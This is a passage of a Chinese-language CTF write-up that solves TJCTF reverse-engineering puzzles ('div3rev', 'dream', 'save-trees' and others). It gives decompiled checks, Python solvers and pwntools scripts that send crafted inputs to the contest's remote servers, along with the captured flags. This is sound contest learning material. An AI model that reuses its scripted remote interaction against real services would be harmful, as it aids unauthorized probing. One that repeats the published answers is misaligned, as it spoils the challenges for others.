if j>=97 and j<=122:
j-=60
elif j>=65 and j<=90:
j+=32
elif j>=48 and j<=52:
j+=43
elif j>=53 and j<=57:
j-=21
elif j==123 or j==125:
pass
else:
continue
if j==c[i]:
m += chr(k)
print(m)
break
maybe
这种题第一次见。把一个python代码去空格(python的软肋,特别特别软的软)顺序打乱。这回是真逆向。
#first 3 lines are given
import random
seed = 1000
random.seed(seed)
#unscramble the rest
def recur(lst):
l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
l2[i] += inp[i]
flag = ""
flag+=chr((l4[i]^l3[i]))
return flag
l.append(random.randint(6, 420))
l3[0] = l2[0]%mod
for i in range(1, n):
def decrypt(inp):
for i in range(n):
assert(len(l)==n)
return lst[0]
l = []
main()
def main():
l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]
l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod
if(len(lst)==1):
assert(lst[0]>0)
for i in range(1, n):
for i in range(n):
return recur(lst[::2])/recur(lst[1::2])
print("flag is:", decrypt(inp))
l2[0] +=int(recur(l2[1:])*50)
l2 = [0]*n
flag_length = 31
mod = 256
print(l2)
n = len(inp)
inp = [1]*flag_length
l3 =[0]*n
不过有些东西还是容易看的,函数定义啥的都各开一断,然后一行行往里切。对了运行一下就行了。
#first 3 lines are given
import random
seed = 1000
random.seed(seed)
#unscramble the rest
def recur(lst):
assert(lst[0]>0)
if(len(lst)==1):
return lst[0]
return recur(lst[::2])/recur(lst[1::2])
mod = 256
flag_length = 31
inp = [1]*flag_length
n = len(inp)
#1 init l
l = [404, 225, 348, 395, 56, 207, 186, 38, 245, 90, 279, 229, 72, 119, 349, 129, 192, 353, 256, 109, 354, 347, 193, 122, 414, 240, 99, 26, 353, 389, 255]
l2 = [0]*n
l3 =[0]*n
l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]
for i in range(1, n):
l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
l2[i] += inp[i]
l2[0] +=int(recur(l2[1:])*50)
print(l2)
l3[0] = l2[0]%mod
for i in range(1, n):
l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod
def decrypt(inp):
flag = ""
for i in range(n):
flag+=chr((l4[i]^l3[i]))
return flag
def main():
print("flag is:", decrypt(inp))
main()
maybe
这个加密比较简单,用已经部分异或
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-64h]
char s[72]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v6; // [rsp+58h] [rbp-18h]
v6 = __readfsqword(0x28u);
puts("Enter your flag");
fgets(s, 64, _bss_start);
if ( strlen(s) == 33 )
{
for ( i = 4; i < strlen(s) - 1; ++i )
{
if ( ((unsigned __int8)s[i - 4] ^ (unsigned __int8)s[i]) != flag[i - 4] )
{
puts("you're def wrong smh");
return 1;
}
}
puts("you might be right??? you might be wrong.... who knows?");
return 0;
}
else
{
puts("bad");
return 1;
}
}
由于flag壳是已知的,直接计算即可
flag = bytes.fromhex('121100150b483c120c44001051192e16031c42110a4a72560d7a744f00')
m = list(b'tjct')
for i in range(len(flag)):
m.append(m[i]^flag[i])
bytes(m)
#tjctf{cam3_saw_c0nqu3r3d98A24B5}
div3rev
明文分3份分别加密(3份再分3份直到每个只有1个字符)
def op1(b):
for i in range(len(b)):
b[i] += 8*(((b[i] % 10)*b[i]+75) & 1)
cur = 1
for j in range(420):
cur *= (b[i]+j) % 420
return b
def op2(b):
for i in range(len(b)):
for j in range(100):
b[i] = b[i] ^ 69
b[i] += 12
return b
def op3(b):
for i in range(len(b)):
b[i] = ((b[i] % 2) << 7)+(b[i]//2)
return b
def recur(b):
if len(b) == 1:
return b
assert len(b) % 3 == 0
a = len(b)
return op1(recur(b[0:a//3]))+op2(recur(b[a//3:2*a//3]))+op3(recur(b[2*a//3:]))
flag = open("flag.txt", "r").read()
flag = flag[:-1]
b = bytearray()
b.extend(map(ord, flag))
res = recur(b)
if res == b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf':
print("correct")
else:
print("oopsies")
直接逆很麻烦,因为27个字符的顺序处理正好相反,采用爆破法,每个字符的对应位置和加密算法是不变的。可以爆破
enc = list(b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf')
flag = [0]*27
for i in range(27):
for j in range(0x20,0x7f):
flag[i] = j
v = recur(flag)
if v[i] == enc[i]:
break
print(bytes(flag))
#tjctf{randomfifteenmorelet}
dream
回答好些问题,然后输入两个数,一看是z3实际上不是
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+0h] [rbp-230h]
int i; // [rsp+4h] [rbp-22Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-228h]
unsigned __int64 v7; // [rsp+10h] [rbp-220h]
FILE *stream; // [rsp+18h] [rbp-218h]
char s2[256]; // [rsp+20h] [rbp-210h] BYREF
char s[264]; // [rsp+120h] [rbp-110h] BYREF
unsigned __int64 v11; // [rsp+228h] [rbp-8h]
v11 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
type_text("last night, I had a dream...\ntaylor sw1ft, the dollar store version, appeared!\n");
prompt((__int64)"what should I do? ", s2, 256);
if ( strcmp("sing", s2) )
{
puts("no, no, that's a bad idea.");
exit(0);
}
prompt((__int64)"that's a great idea!\nI started to sing the following lyrics: ", s2, 256);
if ( strcmp("maybe I asked for too [many challenges to be written]", s2) )
{
puts("no, that's a dumb lyric.");
exit(0);
}
type_text("ok... that's a weird lyric but whatever\n");
prompt((__int64)"that leads me to ask... how many challenges did you ask for??? ", s2, 256);
v6 = atol(s2);
if ( 35 * (((3 * v6) ^ 0xB6D8) % 0x521) % 0x5EB != 1370 )// 3840432396
{
type_text("that's a stupid number.\n");
exit(0);
}
prompt((__int64)"ok yeah you're asking too much of everyone; try to lower the number??? ", s2, 256);
v7 = atol(s2);
if ( (35 * ((5 * v7 % 0x1E61) | 0x457) - 5) % 0x3E8 != 80 )// 1625900223
{
type_text("yeah.");
exit(0);
}
if ( v6 % v7 != 20202020 || v7 * v6 != 0x33D5D816326AADLL )
{
type_text("ok but they might think that's too much comparatively, duh.\n");
exit(0);
}
type_text("that's a lot more reasonable - good on you!\n");
usleep(0x124F8u);
type_text("ok, now that we've got that out of the way, back to the story...\n");
type_text("taylor was like, \"wow, you're so cool!\", and I said, \"no, you're so cool!\"\n");
type_text("after that, we kinda just sat in silence for a little bit. I could kinda tell I was losing her attention, so ");
v4 = 0;
for ( i = 0; i <= 11; ++i )
{
prompt((__int64)"what should I do next? ", s2, 256);
if ( !strcmp("ask her about some flags", s2) )
{
++v4;
}
else if ( !strcmp("ask her about her new album", s2) )
{
v4 *= v4;
}
else
{
if ( strcmp("ask her about her tour", s2) )
{
type_text("no, that's weird\n");
exit(0);
}
v4 += 22;
}
}
if ( v4 != 2351 )
{
type_text("taylor died of boredom\n");
exit(0);
}
type_text("taylor got sick and tired of me asking her about various topics, so she finally responded: ");
stream = fopen("flag.txt", "r");
if ( !stream )
{
type_text("no flag </3\n");
exit(0);
}
fgets(s, 256, stream);
type_text(s);
return 0;
}
显然64位的数这种运算z3干不了。
关键是最后的乘法检查,所以先将积分解,爆破因子组合出两个数。
aa = 0x33D5D816326AAD
fac = [3,3,29,37,409,11071,333667]
for i in range(5):
for j in range(i+1,6):
for k in range(j+1,7):
v6 = fac[i]*fac[j]*fac[k]
v7 = aa//v6
if v6%v7 == 20202020:
print(v6,v7)
v6,v7 =131313131, 111111111
一检查就对,它没用溢出,如果用整型溢出就麻烦点
后边是用12次运算凑数,(+1,+22,平方)手工整一个就行以根号为界两边就几步。
from pwn import *
p = remote('tjc.tf', 31500)
context.log_level = 'debug'
v6,v7 = 131313131, 111111111
p.sendlineafter(b"what should I do? ", b"sing")
p.sendlineafter(b"that's a great idea!\nI started to sing the following lyrics: " ,b"maybe I asked for too [many challenges to be written]")
p.sendlineafter(b"that leads me to ask... how many challenges did you ask for??? ", str(v6).encode())
p.sendlineafter(b"ok yeah you're asking too much of everyone; try to lower the number??? ", str(v7).encode())
# (1+1+1+1+22+22)**2 +22 +22 +1 +1 +1
a = [1,1,1,1,3,3,2,3,3,1,1,1]
# ^48**2
for i in a:
if i==1:
p.sendlineafter(b"what should I do next? ", b"ask her about some flags") #++
elif i==2:
p.sendlineafter(b"what should I do next? ", b"ask her about her new album") #**2
else:
p.sendlineafter(b"what should I do next? ", b"ask her about her tour") #+22
p.recvline()
p.interactive()
# tjctf{5h3_ju5t_w4nt5_t0_st4y_1n_th4t_l4vend3r_h4z3_3a17362a}
save-trees
这个费了一下午的时间睡觉,醒来沉住气,慢慢写。
#!/usr/local/bin/python3.10 -u
import ast
import sys
import select
from Crypto.Util.number import bytes_to_long
import hashlib
import random
def set_globals():
global edge_lst, cnt, threshold, vals, key, lvs
edge_lst = []
cnt, threshold = 0, 128
vals = [0 for _ in range(threshold*16)]
randv = random.randint((1 << 15), (1 << 16))
print("Rand:",hex(randv))
key = (bytes_to_long(bytes('save thr trees!!', 'utf-8'))
<< 16) + randv
lvs = []
with open('flag.txt', 'r') as f:
flag = f.readline()
def ear3mt3sdk(nd):
global cnt, threshold, edge_lst, lvs, key
if nd > threshold:
lvs.append(nd)
return
if nd > threshold // 2:
if random.randint(1, 4) == 1:
lvs.append(nd)
return
edge_lst.append((nd, cnt+1))
edge_lst.append((nd, cnt+2))
old_cnt = cnt
vals[cnt+1] = (vals[nd] >> 16) ^ key
vals[cnt+2] = (vals[nd] & ((1 << 16) - 1)) ^ key
cnt += 2
ear3mt3sdk(old_cnt+1)
ear3mt3sdk(old_cnt+2)
set_globals()
hsh = int('0x10000000' + str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16)
print('hsh:', hex(hsh))
vals[0] = hsh
ear3mt3sdk(0)
print('you have 5s to help treeelon musk save the trees!!')
print(edge_lst)
print([(nd, vals[nd]) for nd in lvs])
def input_with_timeout(prompt, timeout):
sys.stdout.write(prompt)
sys.stdout.flush()
ready, _, _ = select.select([sys.stdin], [], [], timeout)
if ready:
return sys.stdin.readline().rstrip('\n')
raise Exception
try:
answer = input_with_timeout('', 5)
except:
print("\nyou let treeelon down :((")
exit(0)
try:
answer = ast.literal_eval(answer)
except:
print("treeelon is very upset")
exit(0)
if hsh == answer:
print('good job treeelon is proud of you <3<3')
print(flag)
else:
print("treeelon is upset")
按二叉树将hsh切开(右边2字节)分别与key异或后放入左右子树,然后输出树结构和一些随机节点的数据。
这个就是要从后边向前恢复,由于key的后16位未知,又没有时间爆破,所以这里批一个特殊点。
每次后16位会与key加密,而后16位又会是上一步的后16-32位,所以在一个点上,这里是key全部(两字节份)异或的结果,这个点在节点34。
t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
key_tail = xor(t_v[36][-2:], b'KA')
先第1次用尾号为0的key解一次密,然后找到34,得到完整的key,然后重新解密组合一次。
'''
Rand: 0xf6a2
hsh: 0x10000000e42ee5f2da36700fdbde15a391bc8dd91c8ec0ac3222a60f0c8114d9dbd5220e
'''
from Crypto.Util.number import bytes_to_long,long_to_bytes
from pwn import *
p = remote('tjc.tf', 31519)
context.log_level = 'debug'
p.recvuntil(b'you have 5s to help treeelon musk save the trees!!\n')
edge_lst = eval(p.recvline())
vals = eval(p.recvline())
key = (bytes_to_long(bytes('save thr trees!!', 'utf-8')) << 16) #+ 0xf6a2 #部分key
n = 237
t_id = [i for i in range(n)]
t_left = [-1]*n
t_right = [-1]*n
t_v = [-1]*n #当前值
for id,sub in edge_lst:
if t_left[id] == -1:
t_left[id] = sub
elif t_right[id] == -1:
t_right[id] = sub
for id,v in vals:
t_v[id] = v
while True:
for id in range(n):
if t_v[id] == -1: #节点未填充
if t_left[id] != -1 and t_right[id] != -1: #存在左右子树
if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1: #左右子树都有值
t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key) #填充当前树值
if t_v[0] != -1:
break
for id,v in enumerate(t_v):
if v != -1:
print(id, long_to_bytes(v))
'''
t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
key_tail = xor(t_v[36][-2:], b'KA')
'''
print(long_to_bytes(t_v[36]))
key_tail = xor(long_to_bytes(t_v[36])[-2:], b'KA')
print('Key:', key_tail)
#以正确的尾部重新解码
key = key + bytes_to_long(key_tail)
n = 237
t_id = [i for i in range(n)]
t_left = [-1]*n
t_right = [-1]*n
t_v = [-1]*n #当前值
for id,sub in edge_lst:
if t_left[id] == -1:
t_left[id] = sub
elif t_right[id] == -1:
t_right[id] = sub
for id,v in vals:
t_v[id] = v
while True:
for id in range(n):
if t_v[id] == -1: #节点未填充
if t_left[id] != -1 and t_right[id] != -1: #存在左右子树
if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1: #左右子树都有值
t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key) #填充当前树值
if t_v[0] != -1:
break
print(long_to_bytes(t_v[0]).hex())
p.sendline(str(t_v[0]).encode())
p.recvline()
p.recvline()
p.interactive()
#tjctf{tR33s_g1v3_0xYg3ndx0x<3}